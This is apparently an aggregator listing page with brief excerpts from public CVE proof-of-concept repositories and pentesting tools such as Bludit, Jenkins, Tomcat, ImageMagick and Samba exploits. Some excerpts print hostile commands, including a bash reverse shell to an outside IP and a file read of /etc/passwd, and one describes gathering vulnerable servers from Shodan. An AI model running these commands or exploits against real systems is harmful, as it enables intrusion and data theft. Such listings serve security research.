CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS

CVE-2021-27190 - PEEL Shopping, eCommerce shopping cart - Stored Cross-Site Scripting Vulnerability in 'Address' Date 2021-02-11 Exploit Author Anmol K Sachan Vendor Homepage https://www.peel.fr/ Software Link https://www.peel.fr/nos-offres-1/peel-shopping-31.html...

CVE-2020-1938

CVE-2020-1938 CVE-2020-1938 Vulnerability Reproduction Exploit script: https://laolisafe.com/thread-612-1-1.html Environment: apache-tomcat-8.5.32 java powershell exploit environment - python Start Tomcat sh ./startup.sh Exploit The tool is only for security research and internal self-inspection...

ROOT-APP-GOBINARY-CVE-2026-56852 CVE-2026-56852 in golang.org/x/text - Patched by Root

Root has patched CVE-2026-56852 in the golang.org/x/text package for Root:Go. Multiple fixed versions available...

Xerror

Xerror Xerror es una herramienta de penetración automatizada que ayudará a profesionales y no profesionales de la seguridad a automatizar sus tareas de pentesting. Xerror realizará todas las pruebas y, al final, generará dos informes para ejecutivos y analistas. Xerror proporciona una interfaz...

cve-2018-15473

CVE-2018-15473 OpenSSH hasta la versión 7.7 es propenso a una vulnerabilidad de enumeración de usuarios debido a que no retrasa la salida anticipada para un usuario autenticador no válido hasta que el paquete que contiene la solicitud se haya analizado por completo, relacionado con auth2-gss.c,...

CVE-2024-28995

CVE-2024-28995 Automated Path Traversal & Local File Read Features Version Detection : Retrieves the Serv-U version from the server header. Vulnerability Check : Compares the detected version against a known vulnerable version 15.4.2 or lower. Default Path Testing : Tests predefined paths for bot...

cve-2021-41773

Cve-2021-41773-grabber Vulnerabilidad de path traversal y divulgación de archivos en Apache HTTP Server 2.4.49 Este script obtiene servidores vulnerables para cve 2021-41773 desde shodan Cómo usar : usa python 3 instala el módulo shodan: pip install shodan cambia la palabra clave en el script por...

CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 RCE authenticate Usage python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" Example...

CVE-2025-59528-PoC

CVE-2025-59528 PoC Python proof-of-concept script for triggering the Flowise CustomMCP RCE path via POST /api/v1/node-load-method/customMCP. ⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal...

ImageMagick-CVE-2022-44268-PoC

ImageMagick-CVE-2022-44268-PoC A bash script for easly exploiting ImageMagick Arbitrary File Read Vulnerability CVE-2022-44268 Image Magic version effected root@kitploit: Version: ImageMagick 6.9.11-60 Q16 x8664 2021-01-25 https://imagemagick.org Copyright: C 1999-2021 ImageMagick Studio LLC...

CVE-2018-6389

CVE-2018-6389 WordPress DoS CVE-2018-6389 Reference https://baraktawily.blogspot.jp/2018/02/how-to-dos-29-of-world-wide-websites.html How to DoS Start WordPress root@kitploit: $ docker-compose up -d Pulling wordpress wordpress:4.9.3... 4.9.3: Pulling from library/wordpress e7bb522d92ff: Pull...

crlfuzz

CRLFuzz A fast tool to scan CRLF vulnerability written in Go Resources Installation from Binary from Source from GitHub Usage Basic Usage Flags Target Single URL URLs from list from Stdin...

CVE-2007-2447-Exploit

CVE-2007-2447 Exploit This repository contains an exploit for Samba smbd 3.0.20 CVE-2007-2447 that allows remote command execution via crafted SMB requests. Prerequisites This exploit requires Python 3 and a few dependencies. It's recommended to set up a virtual environment before running the...

CVE-2012-6066

CVE-2012-6066 FreeSSHD Remote Authentication Bypass Vulnerability freeSSHd 2.1.3 Version check : nmap -A...

CVE-2024-27348

CVE-2024-27348 This is a repository for Apache HugeGraph Remote Code Execution vulnerabilityCVE-2024-27348 Docker root@kitploit: docker pull hugegraph/hugegraph:1.0.0 docker run -it --name hgserver -p 8081:8080 hugegraph/hugegraph:1.0.0 docker-compose.yml root@kitploit: services: web: image:...

CVE-2024-23692-RCE-in-Rejetto-HFS

Unauthenticated RCE Flaw in Rejetto HTTP File Server CVE-2024-23692 - exploit code CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server HFS version 2.3m, allowing unauthenticated remote code execution RCE. This flaw enables attackers to execute arbitrary code on the server, posi...

CVE-2020-17530-strust2-061

This repository does not have a README...

CVE-2020-0688-GUI

一、Project Purpose and Reference The purpose is simple: I'm planning to write a C2 in C again recently, so let's first write some small tools to practice and increase interest. So I thought of turning zcgonvh's tool into a GUI. The source tool link is as follows:...

lblfixer_cve_2023_30839

LabelGrup Networks, official PrestaShop Partner Module for PrestaShop 1.7.8.9 to fix CVE-2023-30545, CVE-2023-30839 and CVE-2023-30839 vulnerabilities For further information, check the following links: CVE: https://nvd.nist.gov/vuln/detail/CVE-2023-30545 CVE:...

CVE-2024-23897

PoC to exploit the CVE-2024-23897 vulnerability in Jenkins versions 2.441 or earlier, through which we can read internal system files. First, we check the Jenkins version to ensure it is vulnerable: Next, we can use the exploit: root@kitploit: python3 CVE-2024-23897.py 172.17.0.2 8080 /etc/passwd...